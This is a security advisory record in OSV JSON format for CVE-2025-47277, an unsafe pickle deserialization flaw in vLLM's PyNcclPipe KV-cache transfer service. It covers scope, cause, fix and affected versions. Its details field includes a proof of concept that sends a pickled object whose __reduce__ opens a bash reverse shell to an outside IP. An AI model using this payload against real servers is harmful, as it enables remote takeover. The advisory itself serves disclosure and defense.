CVE-2025-47277: Vllm Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hjq4-87xh-g4fv",
  "modified" : "2026-07-17T16:14:26Z",
  "published" : "2025-05-20T18:04:30Z",
  "aliases" : [ "CVE-2025-47277" ],
  "summary" : "vLLM Allows Remote Code Execution via PyNcclPipe Communication Service",
  "details" : "### Impacted Environments\n\nThis issue ONLY impacts environments using the `PyNcclPipe` KV cache transfer integration with the V0 engine. No other configurations are affected.\n\n### Summary\nvLLM supports the use of the `PyNcclPipe` class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the `PyNcclCommunicator` class, while CPU-side control message passing is handled via the `send_obj` and `recv_obj` methods on the CPU side.​ \n\nA remote code execution vulnerability exists in the `PyNcclPipe` service. Attackers can exploit this by sending malicious serialized data to gain server control privileges. \n\nThe intention was that this interface should only be exposed to a private network using the IP address specified by the `--kv-ip` CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html\n\nUnfortunately, the default behavior from PyTorch is that the `TCPStore` interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the `TCPStore` instance to bind its socket to a specified private interface.\n\nThis issue was reported privately to PyTorch and they determined that this behavior was intentional.\n\n### Details\nThe `PyNcclPipe`  implementation contains a critical security flaw where it directly processes client-provided data using `pickle.loads`  , creating an unsafe deserialization vulnerability that can lead to ​Remote Code Execution.\n\n1. Deploy a `PyNcclPipe` service configured to listen on port `18888` when launched:\n```python\nfrom vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe\nfrom vllm.config import KVTransferConfig\n\nconfig=KVTransferConfig(\n    kv_ip=\"0.0.0.0\",\n    kv_port=18888,\n    kv_rank=0,\n    kv_parallel_size=1,\n    kv_buffer_size=1024,\n    kv_buffer_device=\"cpu\"\n)\n\np=PyNcclPipe(config=config,local_rank=0)\np.recv_tensor() # Receive data\n```\n\n2. The attacker crafts malicious packets and sends them to the `PyNcclPipe` service:\n\n```python\nfrom vllm.distributed.utils import StatelessProcessGroup\n\nclass Evil:\n    def __reduce__(self):\n        import os\n        cmd='/bin/bash -c \"bash -i >& /dev/tcp/172.28.176.1/8888 0>&1\"'\n        return (os.system,(cmd,))\n\nclient = StatelessProcessGroup.create(\n    host='172.17.0.1',\n    port=18888,\n    rank=1,\n    world_size=2,\n)\n\nclient.send_obj(obj=Evil(),dst=0)\n```\n\nThe call stack triggering ​RCE is as follows:\n\n```\nvllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl\n\t-> vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata\n\t\t-> vllm.distributed.utils.StatelessProcessGroup.recv_obj\n\t\t\t-> pickle.loads \n```\n\nGetshell as follows: \n\n![image](https://github.com/user-attachments/assets/487746ee-3b77-4e4d-99cc-d1ca08431215)\n\n### Reporters\n\nThis issue was reported independently by three different parties:\n\n* @kikayli (Zhuque Lab, Tencent)\n* @omjeki\n* Russell Bryant (@russellb)\n\n### Fix\n\n* https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the `TCPStore` socket to the private interface as configured.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "vllm"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.6.5"
      }, {
        "fixed" : "0.8.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/vllm-project/vllm/security/advisories/GHSA-hjq4-87xh-g4fv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-47277"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/vllm-project/vllm/pull/15988"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/vllm-project/vllm/commit/0d6e187e88874c39cda7409cf673f9e6546893e7"
  }, {
    "type" : "WEB",
    "url" : "https://docs.vllm.ai/en/latest/deployment/security.html"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-hjq4-87xh-g4fv"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2026-567.yaml"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/vllm-project/vllm"
  }, {
    "type" : "WEB",
    "url" : "https://pypi.org/project/vllm"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-05-20T18:04:30Z",
    "nvd_published_at" : "2025-05-20T18:15:46Z"
  }
}